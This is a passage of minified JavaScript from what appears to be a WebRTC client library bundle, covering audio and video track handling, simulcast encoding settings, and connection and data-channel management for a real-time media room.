this.isPublisherConnectionRequired&&e.push(this.publisher),this.isSubscriberConnectionRequired&&e.push(this.subscriber),e}ensureTransportConnected(e,t){return p(this,arguments,void 0,function(n,r){var s=this;let o=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.peerConnectionTimeout;return function*(){if(n.getConnectionState()!=="connected")return new Promise((c,d)=>p(s,void 0,void 0,function*(){const u=()=>{this.log.warn("abort transport connection",this.logContext),Q.clearTimeout(l),d(new j("room connection has been cancelled",3))};r!=null&&r.signal.aborted&&u(),r==null||r.signal.addEventListener("abort",u);const l=Q.setTimeout(()=>{r==null||r.signal.removeEventListener("abort",u),d(new j("could not establish pc connection"))},o);for(;this.state!==q.CONNECTED;)if(yield Te(50),r!=null&&r.signal.aborted){d(new j("room connection has been cancelled",3));return}Q.clearTimeout(l),r==null||r.signal.removeEventListener("abort",u),c()}))}()})}}const gn=2e3;function ni(i,e){if(!e)return 0;let t,n;return"bytesReceived"in i?(t=i.bytesReceived,n=e.bytesReceived):"bytesSent"in i&&(t=i.bytesSent,n=e.bytesSent),t===void 0||n===void 0||i.timestamp===void 0||e.timestamp===void 0?0:(t-n)*8*1e3/(i.timestamp-e.timestamp)}class Y extends Tt{get enhancedNoiseCancellation(){return this.isKrispNoiseFilterEnabled}constructor(e,t){let n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,r=arguments.length>3?arguments[3]:void 0,s=arguments.length>4?arguments[4]:void 0;super(e,y.Kind.Audio,t,n,s),this.stopOnMute=!1,this.isKrispNoiseFilterEnabled=!1,this.monitorSender=()=>p(this,void 0,void 0,function*(){if(!this.sender){this._currentBitrate=0;return}let o;try{o=yield this.getSenderStats()}catch(a){this.log.error("could not get audio sender stats",Object.assign(Object.assign({},this.logContext),{error:a}));return}o&&this.prevStats&&(this._currentBitrate=ni(o,this.prevStats)),this.prevStats=o}),this.handleKrispNoiseFilterEnable=()=>{this.isKrispNoiseFilterEnabled=!0,this.log.debug("Krisp noise filter enabled",this.logContext),this.emit(P.AudioTrackFeatureUpdate,this,me.TF_ENHANCED_NOISE_CANCELLATION,!0)},this.handleKrispNoiseFilterDisable=()=>{this.isKrispNoiseFilterEnabled=!1,this.log.debug("Krisp noise filter disabled",this.logContext),this.emit(P.AudioTrackFeatureUpdate,this,me.TF_ENHANCED_NOISE_CANCELLATION,!1)},this.audioContext=r,this.checkForSilence()}setDeviceId(e){return p(this,void 0,void 0,function*(){return this._constraints.deviceId===e&&this._mediaStreamTrack.getSettings().deviceId===Se(e)?!0:(this._constraints.deviceId=e,this.isMuted||(yield this.restartTrack()),this.isMuted||Se(e)===this._mediaStreamTrack.getSettings().deviceId)})}mute(){const e=Object.create(null,{mute:{get:()=>super.mute}});return p(this,void 0,void 0,function*(){const t=yield this.muteLock.lock();try{return this.isMuted?(this.log.debug("Track already muted",this.logContext),this):(this.source===y.Source.Microphone&&this.stopOnMute&&!this.isUserProvided&&(this.log.debug("stopping mic track",this.logContext),this._mediaStreamTrack.stop()),yield e.mute.call(this),this)}finally{t()}})}unmute(){const e=Object.create(null,{unmute:{get:()=>super.unmute}});return p(this,void 0,void 0,function*(){const t=yield this.muteLock.lock();try{if(!this.isMuted)return this.log.debug("Track already unmuted",this.logContext),this;const n=this._constraints.deviceId&&this._mediaStreamTrack.getSettings().deviceId!==Se(this._constraints.deviceId);return this.source===y.Source.Microphone&&(this.stopOnMute||this._mediaStreamTrack.readyState==="ended"||n)&&!this.isUserProvided&&(this.log.debug("reacquiring mic track",this.logContext),yield this.restartTrack()),yield e.unmute.call(this),this}finally{t()}})}restartTrack(e){return p(this,void 0,void 0,function*(){let t;if(e){const n=ii({audio:e});typeof n.audio!="boolean"&&(t=n.audio)}yield this.restart(t)})}restart(e){const t=Object.create(null,{restart:{get:()=>super.restart}});return p(this,void 0,void 0,function*(){const n=yield t.restart.call(this,e);return this.checkForSilence(),n})}startMonitor(){ne()&&(this.monitorInterval||(this.monitorInterval=setInterval(()=>{this.monitorSender()},gn)))}setProcessor(e){return p(this,void 0,void 0,function*(){var t;const n=yield this.processorLock.lock();try{if(!this.audioContext)throw Error("Audio context needs to be set on LocalAudioTrack in order to enable processors");this.processor&&(yield this.stopProcessor());const r={kind:this.kind,track:this._mediaStreamTrack,audioContext:this.audioContext};this.log.debug("setting up audio processor ".concat(e.name),this.logContext),yield e.init(r),this.processor=e,this.processor.processedTrack&&(yield(t=this.sender)===null||t===void 0?void 0:t.replaceTrack(this.processor.processedTrack),this.processor.processedTrack.addEventListener("enable-lk-krisp-noise-filter",this.handleKrispNoiseFilterEnable),this.processor.processedTrack.addEventListener("disable-lk-krisp-noise-filter",this.handleKrispNoiseFilterDisable)),this.emit(P.TrackProcessorUpdate,this.processor)}finally{n()}})}setAudioContext(e){this.audioContext=e}getSenderStats(){return p(this,void 0,void 0,function*(){var e;if(!(!((e=this.sender)===null||e===void 0)&&e.getStats))return;const t=yield this.sender.getStats();let n;return t.forEach(r=>{r.type==="outbound-rtp"&&(n={type:"audio",streamId:r.id,packetsSent:r.packetsSent,packetsLost:r.packetsLost,bytesSent:r.bytesSent,timestamp:r.timestamp,roundTripTime:r.roundTripTime,jitter:r.jitter})}),n})}checkForSilence(){return p(this,void 0,void 0,function*(){const e=yield rd(this);return e&&(this.isMuted||this.log.warn("silence detected on local audio track",this.logContext),this.emit(P.AudioSilenceDetected)),e})}}function oo(i,e,t){switch(i.kind){case"audio":return new Y(i,e,!1,void 0,t);case"video":return new ie(i,e,!1,t);default:throw new ge("unsupported track type: ".concat(i.kind))}}const qd=Object.values(yt),Kd=Object.values(Vi),Gd=Object.values(hn),Wd=[yt.h180,yt.h360],zd=[Vi.h180,Vi.h360],Hd=i=>[{scaleResolutionDownBy:2,fps:i.encoding.maxFramerate}].map(t=>{var n,r;return new L(Math.floor(i.width/t.scaleResolutionDownBy),Math.floor(i.height/t.scaleResolutionDownBy),Math.max(15e4,Math.floor(i.encoding.maxBitrate/(Math.pow(t.scaleResolutionDownBy,2)*(((n=i.encoding.maxFramerate)!==null&&n!==void 0?n:30)/((r=t.fps)!==null&&r!==void 0?r:30))))),t.fps,i.encoding.priority)}),Ji=["q","h","f"];function Qi(i,e,t,n){var r,s;let o=n==null?void 0:n.videoEncoding;i&&(o=n==null?void 0:n.screenShareEncoding);const a=n==null?void 0:n.simulcast,c=n==null?void 0:n.scalabilityMode,d=n==null?void 0:n.videoCodec;if(!o&&!a&&!c||!e||!t)return[{}];o||(o=Qd(i,e,t,d),M.debug("using video encoding",o));const u=new L(e,t,o.maxBitrate,o.maxFramerate,o.priority);if(c&&ft(d)){const f=new ao(c),v=[];if(f.spatial>3)throw new Error("unsupported scalabilityMode: ".concat(c));const g=Pe();if(Ue()||Ee()||(g==null?void 0:g.name)==="Chrome"&&kt(g==null?void 0:g.version,"113")<0){const b=f.suffix=="h"?2:3;for(let m=0;m<f.spatial;m+=1)v.push({rid:Ji[2-m],maxBitrate:o.maxBitrate/Math.pow(b,m),maxFramerate:u.encoding.maxFramerate});v[0].scalabilityMode=c}else v.push({maxBitrate:o.maxBitrate,maxFramerate:u.encoding.maxFramerate,scalabilityMode:c});return u.encoding.priority&&(v[0].priority=u.encoding.priority,v[0].networkPriority=u.encoding.priority),M.debug("using svc encoding",{encodings:v}),v}if(!a)return[o];let l=[];i?l=(r=or(n==null?void 0:n.screenShareSimulcastLayers))!==null&&r!==void 0?r:sr(i,u):l=(s=or(n==null?void 0:n.videoSimulcastLayers))!==null&&s!==void 0?s:sr(i,u);let h;if(l.length>0){const f=l[0];l.length>1&&([,h]=l);const v=Math.max(e,t);if(v>=960&&h)return vi(e,t,[f,h,u]);if(v>=480)return vi(e,t,[f,u])}return vi(e,t,[u])}function Jd(i,e,t){var n,r,s,o;if(!t.backupCodec||t.backupCodec===!0||t.backupCodec.codec===t.videoCodec)return;e!==t.backupCodec.codec&&M.warn("requested a different codec than specified as backup",{serverRequested:e,backup:t.backupCodec.codec}),t.videoCodec=e,t.videoEncoding=t.backupCodec.encoding;const a=i.mediaStreamTrack.getSettings(),c=(n=a.width)!==null&&n!==void 0?n:(r=i.dimensions)===null||r===void 0?void 0:r.width,d=(s=a.height)!==null&&s!==void 0?s:(o=i.dimensions)===null||o===void 0?void 0:o.height;return Qi(i.source===y.Source.ScreenShare,c,d,t)}function Qd(i,e,t,n){const r=$d(i,e,t);let{encoding:s}=r[0];const o=Math.max(e,t);for(let a=0;a<r.length;a+=1){const c=r[a];if(s=c.encoding,c.width>=o)break}if(n)switch(n){case"av1":s=Object.assign({},s),s.maxBitrate=s.maxBitrate*.7;break;case"vp9":s=Object.assign({},s),s.maxBitrate=s.maxBitrate*.85;break}return s}function $d(i,e,t){if(i)return Gd;const n=e>t?e/t:t/e;return Math.abs(n-16/9)<Math.abs(n-4/3)?qd:Kd}function sr(i,e){if(i)return Hd(e);const{width:t,height:n}=e,r=t>n?t/n:n/t;return Math.abs(r-16/9)<Math.abs(r-4/3)?Wd:zd}function vi(i,e,t){const n=[];if(t.forEach((r,s)=>{if(s>=Ji.length)return;const o=Math.min(i,e),c={rid:Ji[s],scaleResolutionDownBy:Math.max(1,o/Math.min(r.width,r.height)),maxBitrate:r.encoding.maxBitrate};r.encoding.maxFramerate&&(c.maxFramerate=r.encoding.maxFramerate);const d=Xe()||s===0;r.encoding.priority&&d&&(c.priority=r.encoding.priority,c.networkPriority=r.encoding.priority),n.push(c)}),Ee()&&Zs()==="ios"){let r;n.forEach(o=>{r?o.maxFramerate&&o.maxFramerate>r&&(r=o.maxFramerate):r=o.maxFramerate});let s=!0;n.forEach(o=>{var a;o.maxFramerate!=r&&(s&&(s=!1,M.info("Simulcast on iOS React-Native requires all encodings to share the same framerate.")),M.info('Setting framerate of encoding "'.concat((a=o.rid)!==null&&a!==void 0?a:"",'" to ').concat(r)),o.maxFramerate=r)})}return n}function or(i){if(i)return i.sort((e,t)=>{const{encoding:n}=e,{encoding:r}=t;return n.maxBitrate>r.maxBitrate?1:n.maxBitrate<r.maxBitrate?-1:n.maxBitrate===r.maxBitrate&&n.maxFramerate&&r.maxFramerate?n.maxFramerate>r.maxFramerate?1:-1:0})}class ao{constructor(e){const t=e.match(/^L(\d)T(\d)(h|_KEY|_KEY_SHIFT){0,1}$/);if(!t)throw new Error("invalid scalability mode");if(this.spatial=parseInt(t[1]),this.temporal=parseInt(t[2]),t.length>3)switch(t[3]){case"h":case"_KEY":case"_KEY_SHIFT":this.suffix=t[3]}}toString(){var e;return"L".concat(this.spatial,"T").concat(this.temporal).concat((e=this.suffix)!==null&&e!==void 0?e:"")}}function Yd(i){return i.source===y.Source.ScreenShare||i.constraints.height&&Se(i.constraints.height)>=1080?"maintain-resolution":"balanced"}const Xd=5e3;class ie extends Tt{get sender(){return this._sender}set sender(e){this._sender=e,this.degradationPreference&&this.setDegradationPreference(this.degradationPreference)}constructor(e,t){let n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,r=arguments.length>3?arguments[3]:void 0;super(e,y.Kind.Video,t,n,r),this.simulcastCodecs=new Map,this.degradationPreference="balanced",this.monitorSender=()=>p(this,void 0,void 0,function*(){if(!this.sender){this._currentBitrate=0;return}let s;try{s=yield this.getSenderStats()}catch(a){this.log.error("could not get audio sender stats",Object.assign(Object.assign({},this.logContext),{error:a}));return}const o=new Map(s.map(a=>[a.rid,a]));if(this.prevStats){let a=0;o.forEach((c,d)=>{var u;const l=(u=this.prevStats)===null||u===void 0?void 0:u.get(d);a+=ni(c,l)}),this._currentBitrate=a}this.prevStats=o}),this.senderLock=new oe}get isSimulcast(){return!!(this.sender&&this.sender.getParameters().encodings.length>1)}startMonitor(e){var t;if(this.signalClient=e,!ne())return;const n=(t=this.sender)===null||t===void 0?void 0:t.getParameters();n&&(this.encodings=n.encodings),!this.monitorInterval&&(this.monitorInterval=setInterval(()=>{this.monitorSender()},gn))}stop(){this._mediaStreamTrack.getConstraints(),this.simulcastCodecs.forEach(e=>{e.mediaStreamTrack.stop()}),super.stop()}pauseUpstream(){const e=Object.create(null,{pauseUpstream:{get:()=>super.pauseUpstream}});return p(this,void 0,void 0,function*(){var t,n,r,s,o;yield e.pauseUpstream.call(this);try{for(var a=!0,c=qe(this.simulcastCodecs.values()),d;d=yield c.next(),t=d.done,!t;a=!0)s=d.value,a=!1,yield(o=s.sender)===null||o===void 0?void 0:o.replaceTrack(null)}catch(u){n={error:u}}finally{try{!a&&!t&&(r=c.return)&&(yield r.call(c))}finally{if(n)throw n.error}}})}resumeUpstream(){const e=Object.create(null,{resumeUpstream:{get:()=>super.resumeUpstream}});return p(this,void 0,void 0,function*(){var t,n,r,s,o;yield e.resumeUpstream.call(this);try{for(var a=!0,c=qe(this.simulcastCodecs.values()),d;d=yield c.next(),t=d.done,!t;a=!0){s=d.value,a=!1;const u=s;yield(o=u.sender)===null||o===void 0?void 0:o.replaceTrack(u.mediaStreamTrack)}}catch(u){n={error:u}}finally{try{!a&&!t&&(r=c.return)&&(yield r.call(c))}finally{if(n)throw n.error}}})}mute(){const e=Object.create(null,{mute:{get:()=>super.mute}});return p(this,void 0,void 0,function*(){const t=yield this.muteLock.lock();try{return this.isMuted?(this.log.debug("Track already muted",this.logContext),this):(this.source===y.Source.Camera&&!this.isUserProvided&&(this.log.debug("stopping camera track",this.logContext),this._mediaStreamTrack.stop()),yield e.mute.call(this),this)}finally{t()}})}unmute(){const e=Object.create(null,{unmute:{get:()=>super.unmute}});return p(this,void 0,void 0,function*(){const t=yield this.muteLock.lock();try{return this.isMuted?(this.source===y.Source.Camera&&!this.isUserProvided&&(this.log.debug("reacquiring camera track",this.logContext),yield this.restartTrack()),yield e.unmute.call(this),this):(this.log.debug("Track already unmuted",this.logContext),this)}finally{t()}})}setTrackMuted(e){super.setTrackMuted(e);for(const t of this.simulcastCodecs.values())t.mediaStreamTrack.enabled=!e}getSenderStats(){return p(this,void 0,void 0,function*(){var e;if(!(!((e=this.sender)===null||e===void 0)&&e.getStats))return[];const t=[],n=yield this.sender.getStats();return n.forEach(r=>{var s;if(r.type==="outbound-rtp"){const o={type:"video",streamId:r.id,frameHeight:r.frameHeight,frameWidth:r.frameWidth,framesPerSecond:r.framesPerSecond,framesSent:r.framesSent,firCount:r.firCount,pliCount:r.pliCount,nackCount:r.nackCount,packetsSent:r.packetsSent,bytesSent:r.bytesSent,qualityLimitationReason:r.qualityLimitationReason,qualityLimitationDurations:r.qualityLimitationDurations,qualityLimitationResolutionChanges:r.qualityLimitationResolutionChanges,rid:(s=r.rid)!==null&&s!==void 0?s:r.id,retransmittedPacketsSent:r.retransmittedPacketsSent,targetBitrate:r.targetBitrate,timestamp:r.timestamp},a=n.get(r.remoteId);a&&(o.jitter=a.jitter,o.packetsLost=a.packetsLost,o.roundTripTime=a.roundTripTime),t.push(o)}}),t.sort((r,s)=>{var o,a;return((o=s.frameWidth)!==null&&o!==void 0?o:0)-((a=r.frameWidth)!==null&&a!==void 0?a:0)}),t})}setPublishingQuality(e){const t=[];for(let n=se.LOW;n<=se.HIGH;n+=1)t.push(new an({quality:n,enabled:n<=e}));this.log.debug("setting publishing quality. max quality ".concat(e),this.logContext),this.setPublishingLayers(t)}setDeviceId(e){return p(this,void 0,void 0,function*(){return this._constraints.deviceId===e&&this._mediaStreamTrack.getSettings().deviceId===Se(e)?!0:(this._constraints.deviceId=e,this.isMuted||(yield this.restartTrack()),this.isMuted||Se(e)===this._mediaStreamTrack.getSettings().deviceId)})}restartTrack(e){return p(this,void 0,void 0,function*(){var t,n,r,s;let o;if(e){const u=ii({video:e});typeof u.video!="boolean"&&(o=u.video)}yield this.restart(o);try{for(var a=!0,c=qe(this.simulcastCodecs.values()),d;d=yield c.next(),t=d.done,!t;a=!0){s=d.value,a=!1;const u=s;u.sender&&(u.mediaStreamTrack=this.mediaStreamTrack.clone(),yield u.sender.replaceTrack(u.mediaStreamTrack))}}catch(u){n={error:u}}finally{try{!a&&!t&&(r=c.return)&&(yield r.call(c))}finally{if(n)throw n.error}}})}setProcessor(e){const t=Object.create(null,{setProcessor:{get:()=>super.setProcessor}});return p(this,arguments,void 0,function(n){var r=this;let s=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return function*(){var o,a,c,d,u,l;if(yield t.setProcessor.call(r,n,s),!((u=r.processor)===null||u===void 0)&&u.processedTrack)try{for(var h=!0,f=qe(r.simulcastCodecs.values()),v;v=yield f.next(),o=v.done,!o;h=!0)d=v.value,h=!1,yield(l=d.sender)===null||l===void 0?void 0:l.replaceTrack(r.processor.processedTrack)}catch(g){a={error:g}}finally{try{!h&&!o&&(c=f.return)&&(yield c.call(f))}finally{if(a)throw a.error}}}()})}setDegradationPreference(e){return p(this,void 0,void 0,function*(){if(this.degradationPreference=e,this.sender)try{this.log.debug("setting degradationPreference to ".concat(e),this.logContext);const t=this.sender.getParameters();t.degradationPreference=e,this.sender.setParameters(t)}catch(t){this.log.warn("failed to set degradationPreference",Object.assign({error:t},this.logContext))}})}addSimulcastTrack(e,t){if(this.simulcastCodecs.has(e)){this.log.error("".concat(e," already added, skipping adding simulcast codec"),this.logContext);return}const n={codec:e,mediaStreamTrack:this.mediaStreamTrack.clone(),sender:void 0,encodings:t};return this.simulcastCodecs.set(e,n),n}setSimulcastTrackSender(e,t){const n=this.simulcastCodecs.get(e);n&&(n.sender=t,setTimeout(()=>{this.subscribedCodecs&&this.setPublishingCodecs(this.subscribedCodecs)},Xd))}setPublishingCodecs(e){return p(this,void 0,void 0,function*(){var t,n,r,s,o,a,c;if(this.log.debug("setting publishing codecs",Object.assign(Object.assign({},this.logContext),{codecs:e,currentCodec:this.codec})),!this.codec&&e.length>0)return yield this.setPublishingLayers(e[0].qualities),[];this.subscribedCodecs=e;const d=[];try{for(t=!0,n=qe(e);r=yield n.next(),s=r.done,!s;t=!0){c=r.value,t=!1;const u=c;if(!this.codec||this.codec===u.codec)yield this.setPublishingLayers(u.qualities);else{const l=this.simulcastCodecs.get(u.codec);if(this.log.debug("try setPublishingCodec for ".concat(u.codec),Object.assign(Object.assign({},this.logContext),{simulcastCodecInfo:l})),!l||!l.sender){for(const h of u.qualities)if(h.enabled){d.push(u.codec);break}}else l.encodings&&(this.log.debug("try setPublishingLayersForSender ".concat(u.codec),this.logContext),yield ar(l.sender,l.encodings,u.qualities,this.senderLock,this.log,this.logContext))}}}catch(u){o={error:u}}finally{try{!t&&!s&&(a=n.return)&&(yield a.call(n))}finally{if(o)throw o.error}}return d})}setPublishingLayers(e){return p(this,void 0,void 0,function*(){this.log.debug("setting publishing layers",Object.assign(Object.assign({},this.logContext),{qualities:e})),!(!this.sender||!this.encodings)&&(yield ar(this.sender,this.encodings,e,this.senderLock,this.log,this.logContext))})}handleAppVisibilityChanged(){const e=Object.create(null,{handleAppVisibilityChanged:{get:()=>super.handleAppVisibilityChanged}});return p(this,void 0,void 0,function*(){yield e.handleAppVisibilityChanged.call(this),Ys()&&this.isInBackground&&this.source===y.Source.Camera&&(this._mediaStreamTrack.enabled=!1)})}}function ar(i,e,t,n,r,s){return p(this,void 0,void 0,function*(){const o=yield n.lock();r.debug("setPublishingLayersForSender",Object.assign(Object.assign({},s),{sender:i,qualities:t,senderEncodings:e}));try{const a=i.getParameters(),{encodings:c}=a;if(!c)return;if(c.length!==e.length){r.warn("cannot set publishing layers, encodings mismatch",Object.assign(Object.assign({},s),{encodings:c,senderEncodings:e}));return}let d=!1;!1&&c[0].scalabilityMode||c.forEach((l,h)=>{var f;let v=(f=l.rid)!==null&&f!==void 0?f:"";v===""&&(v="q");const g=co(v),b=t.find(m=>m.quality===g);b&&l.active!==b.enabled&&(d=!0,l.active=b.enabled,r.debug("setting layer ".concat(b.quality," to ").concat(l.active?"enabled":"disabled"),s),Xe()&&(b.enabled?(l.scaleResolutionDownBy=e[h].scaleResolutionDownBy,l.maxBitrate=e[h].maxBitrate,l.maxFrameRate=e[h].maxFrameRate):(l.scaleResolutionDownBy=4,l.maxBitrate=10,l.maxFrameRate=2)))}),d&&(a.encodings=c,r.debug("setting encodings",Object.assign(Object.assign({},s),{encodings:a.encodings})),yield i.setParameters(a))}finally{o()}})}function co(i){switch(i){case"f":return se.HIGH;case"h":return se.MEDIUM;case"q":return se.LOW;default:return se.HIGH}}function cr(i,e,t,n){if(!t)return[new Ae({quality:se.HIGH,width:i,height:e,bitrate:0,ssrc:0})];if(n){const r=t[0].scalabilityMode,s=new ao(r),o=[],a=s.suffix=="h"?1.5:2,c=s.suffix=="h"?2:3;for(let d=0;d<s.spatial;d+=1)o.push(new Ae({quality:se.HIGH-d,width:Math.ceil(i/Math.pow(a,d)),height:Math.ceil(e/Math.pow(a,d)),bitrate:t[0].maxBitrate?Math.ceil(t[0].maxBitrate/Math.pow(c,d)):0,ssrc:0}));return o}return t.map(r=>{var s,o,a;const c=(s=r.scaleResolutionDownBy)!==null&&s!==void 0?s:1;let d=co((o=r.rid)!==null&&o!==void 0?o:"");return new Ae({quality:d,width:Math.ceil(i/c),height:Math.ceil(e/c),bitrate:(a=r.maxBitrate)!==null&&a!==void 0?a:0,ssrc:0})})}const dr="_lossy",ur="_reliable",Zd=2*1e3,bi="leave-reconnect";var ce;(function(i){i[i.New=0]="New",i[i.Connected=1]="Connected",i[i.Disconnected=2]="Disconnected",i[i.Reconnecting=3]="Reconnecting",i[i.Closed=4]="Closed"})(ce||(ce={}));class eu extends ve.EventEmitter{get isClosed(){return this._isClosed}get pendingReconnect(){return!!this.reconnectTimeout}constructor(e){var t;super(),this.options=e,this.rtcConfig={},this.peerConnectionTimeout=mn.peerConnectionTimeout,this.fullReconnectOnNext=!1,this.subscriberPrimary=!1,this.pcState=ce.New,this._isClosed=!0,this.pendingTrackResolvers={},this.reconnectAttempts=0,this.reconnectStart=0,this.attemptingReconnect=!1,this.joinAttempts=0,this.maxJoinAttempts=1,this.shouldFailNext=!1,this.log=M,this.handleDataChannel=n=>p(this,[n],void 0,function(r){var s=this;let{channel:o}=r;return function*(){if(o){if(o.label===ur)s.reliableDCSub=o;else if(o.label===dr)s.lossyDCSub=o;else return;s.log.debug("on data channel ".concat(o.id,", ").concat(o.label),s.logContext),o.onmessage=s.handleDataMessage}}()}),this.handleDataMessage=n=>p(this,void 0,void 0,function*(){var r,s;const o=yield this.dataProcessLock.lock();try{let a;if(n.data instanceof ArrayBuffer)a=n.data;else if(n.data instanceof Blob)a=yield n.data.arrayBuffer();else{this.log.error("unsupported data type",Object.assign(Object.assign({},this.logContext),{data:n.data}));return}const c=Vr.fromBinary(new Uint8Array(a));((r=c.value)===null||r===void 0?void 0:r.case)==="speaker"?this.emit(E.ActiveSpeakersUpdate,c.value.value.speakers):(((s=c.value)===null||s===void 0?void 0:s.case)==="user"&&iu(c,c.value.value),this.emit(E.DataPacketReceived,c))}finally{o()}}),this.handleDataError=n=>{const s=n.currentTarget.maxRetransmits===0?"lossy":"reliable";if(n instanceof ErrorEvent&&n.error){const{error:o}=n.error;this.log.error("DataChannel error on ".concat(s,": ").concat(n.message),Object.assign(Object.assign({},this.logContext),{error:o}))}else this.log.error("Unknown DataChannel error on ".concat(s),Object.assign(Object.assign({},this.logContext),{event:n}))},this.handleBufferedAmountLow=n=>{const s=n.currentTarget.maxRetransmits===0?te.LOSSY:te.RELIABLE;this.updateAndEmitDCBufferStatus(s)},this.handleDisconnect=(n,r)=>{if(this._isClosed)return;this.log.warn("".concat(n," disconnected"),this.logContext),this.reconnectAttempts===0&&(this.reconnectStart=Date.now());const s=c=>{this.log.warn("could not recover connection after ".concat(this.reconnectAttempts," attempts, ").concat(c,"ms. giving up"),this.logContext),this.emit(E.Disconnected),this.close()},o=Date.now()-this.reconnectStart;let a=this.getNextRetryDelay({elapsedMs:o,retryCount:this.reconnectAttempts});if(a===null){s(o);return}n===bi&&(a=0),this.log.debug("reconnecting in ".concat(a,"ms"),this.logContext),this.clearReconnectTimeout(),this.token&&this.regionUrlProvider&&this.regionUrlProvider.updateToken(this.token),this.reconnectTimeout=Q.setTimeout(()=>this.attemptReconnect(r).finally(()=>this.reconnectTimeout=void 0),a)},this.waitForRestarted=()=>new Promise((n,r)=>{this.pcState===ce.Connected&&n();const s=()=>{this.off(E.Disconnected,o),n()},o=()=>{this.off(E.Restarted,s),r()};this.once(E.Restarted,s),this.once(E.Disconnected,o)}),this.updateAndEmitDCBufferStatus=n=>{const r=this.isBufferStatusLow(n);typeof r<"u"&&r!==this.dcBufferStatus.get(n)&&(this.dcBufferStatus.set(n,r),this.emit(E.DCBufferStatusChanged,r,n))},this.isBufferStatusLow=n=>{const r=this.dataChannelForKind(n);if(r)return r.bufferedAmount<=r.bufferedAmountLowThreshold},this.handleBrowserOnLine=()=>{this.client.currentState===B.RECONNECTING&&(this.clearReconnectTimeout(),this.attemptReconnect(Be.RR_SIGNAL_DISCONNECTED))},this.log=Ce((t=e.loggerName)!==null&&t!==void 0?t:he.Engine),this.loggerOptions={loggerName:e.loggerName,loggerContextCb:()=>this.logContext},this.client=new pn(void 0,this.loggerOptions),this.client.signalLatency=this.options.expSignalLatency,this.reconnectPolicy=this.options.reconnectPolicy,this.registerOnLineListener(),this.closingLock=new oe,this.dataProcessLock=new oe,this.dcBufferStatus=new Map([[te.LOSSY,!0],[te.RELIABLE,!0]]),this.client.onParticipantUpdate=n=>this.emit(E.ParticipantUpdate,n),this.client.onConnectionQuality=n=>this.emit(E.ConnectionQualityUpdate,n),this.client.onRoomUpdate=n=>this.emit(E.RoomUpdate,n),this.client.onSubscriptionError=n=>this.emit(E.SubscriptionError,n),this.client.onSubscriptionPermissionUpdate=n=>this.emit(E.SubscriptionPermissionUpdate,n),this.client.onSpeakersChanged=n=>this.emit(E.SpeakersChanged,n),this.client.onStreamStateUpdate=n=>this.emit(E.StreamStateChanged,n)}get logContext(){var e,t,n,r,s,o,a,c;return{room:(t=(e=this.latestJoinResponse)===null||e===void 0?void 0:e.room)===null||t===void 0?void 0:t.name,roomID:(r=(n=this.latestJoinResponse)===null||n===void 0?void 0:n.room)===null||r===void 0?void 0:r.sid,participant:(o=(s=this.latestJoinResponse)===null||s===void 0?void 0:s.participant)===null||o===void 0?void 0:o.identity,pID:(c=(a=this.latestJoinResponse)===null||a===void 0?void 0:a.participant)===null||c===void 0?void 0:c.sid}}join(e,t,n,r){return p(this,void 0,void 0,function*(){this.url=e,this.token=t,this.signalOpts=n,this.maxJoinAttempts=n.maxRetries;try{this.joinAttempts+=1,this.setupSignalClientCallbacks();const s=yield this.client.join(e,t,n,r);return this._isClosed=!1,this.latestJoinResponse=s,this.subscriberPrimary=s.subscriberPrimary,this.pcManager||(yield this.configure(s)),this.subscriberPrimary||this.negotiate(),this.clientConfiguration=s.clientConfiguration,s}catch(s){if(s instanceof j&&s.reason===1&&(this.log.warn("Couldn't connect to server, attempt ".concat(this.joinAttempts," of ").concat(this.maxJoinAttempts),this.logContext),this.joinAttempts<this.maxJoinAttempts))return this.join(e,t,n,r);throw s}})}close(){return p(this,void 0,void 0,function*(){const e=yield this.closingLock.lock();if(this.isClosed){e();return}try{this._isClosed=!0,this.emit(E.Closing),this.removeAllListeners(),this.deregisterOnLineListener(),this.clearPendingReconnect(),yield this.cleanupPeerConnections(),yield this.cleanupClient()}finally{e()}})}cleanupPeerConnections(){return p(this,void 0,void 0,function*(){var e;yield(e=this.pcManager)===null||e===void 0?void 0:e.close(),this.pcManager=void 0;const t=n=>{n&&(n.close(),n.onbufferedamountlow=null,n.onclose=null,n.onclosing=null,n.onerror=null,n.onmessage=null,n.onopen=null)};t(this.lossyDC),t(this.lossyDCSub),t(this.reliableDC),t(this.reliableDCSub),this.lossyDC=void 0,this.lossyDCSub=void 0,this.reliableDC=void 0,this.reliableDCSub=void 0})}cleanupClient(){return p(this,void 0,void 0,function*(){yield this.client.close(),this.client.resetCallbacks()})}addTrack(e){if(this.pendingTrackResolvers[e.cid])throw new ge("a track with the same ID has already been published");return new Promise((t,n)=>{const r=setTimeout(()=>{delete this.pendingTrackResolvers[e.cid],n(new j("publication of local track timed out, no response from server"))},1e4);this.pendingTrackResolvers[e.cid]={resolve:s=>{clearTimeout(r),t(s)},reject:()=>{clearTimeout(r),n(new Error("Cancelled publication by calling unpublish"))}},this.client.sendAddTrack(e)})}removeTrack(e){if(e.track&&this.pendingTrackResolvers[e.track.id]){const{reject:t}=this.pendingTrackResolvers[e.track.id];t&&t(),delete this.pendingTrackResolvers[e.track.id]}try{return this.pcManager.removeTrack(e),!0}catch(t){this.log.warn("failed to remove track",Object.assign(Object.assign({},this.logContext),{error:t}))}return!1}updateMuteStatus(e,t){this.client.sendMuteTrack(e,t)}get dataSubscriberReadyState(){var e;return(e=this.reliableDCSub)===null||e===void 0?void 0:e.readyState}getConnectedServerAddress(){return p(this,void 0,void 0,function*(){var e;return(e=this.pcManager)===null||e===void 0?void 0:e.getConnectedAddress()})}setRegionUrlProvider(e){this.regionUrlProvider=e}configure(e){return p(this,void 0,void 0,function*(){var t,n;if(this.pcManager&&this.pcManager.currentState!==q.NEW)return;this.participantSid=(t=e.participant)===null||t===void 0?void 0:t.sid;const r=this.makeRTCConfiguration(e);this.pcManager=new Vd(r,e.subscriberPrimary,this.loggerOptions),this.emit(E.TransportsCreated,this.pcManager.publisher,this.pcManager.subscriber),this.pcManager.onIceCandidate=(s,o)=>{this.client.sendIceCandidate(s,o)},this.pcManager.onPublisherOffer=s=>{this.client.sendOffer(s)},this.pcManager.onDataChannel=this.handleDataChannel,this.pcManager.onStateChange=(s,o,a)=>p(this,void 0,void 0,function*(){if(this.log.debug("primary PC state changed ".concat(s),this.logContext),["closed","disconnected","failed"].includes(o)&&(this.publisherConnectionPromise=void 0),s===q.CONNECTED){const u=this.pcState===ce.New;this.pcState=ce.Connected,u&&this.emit(E.Connected,e)}else 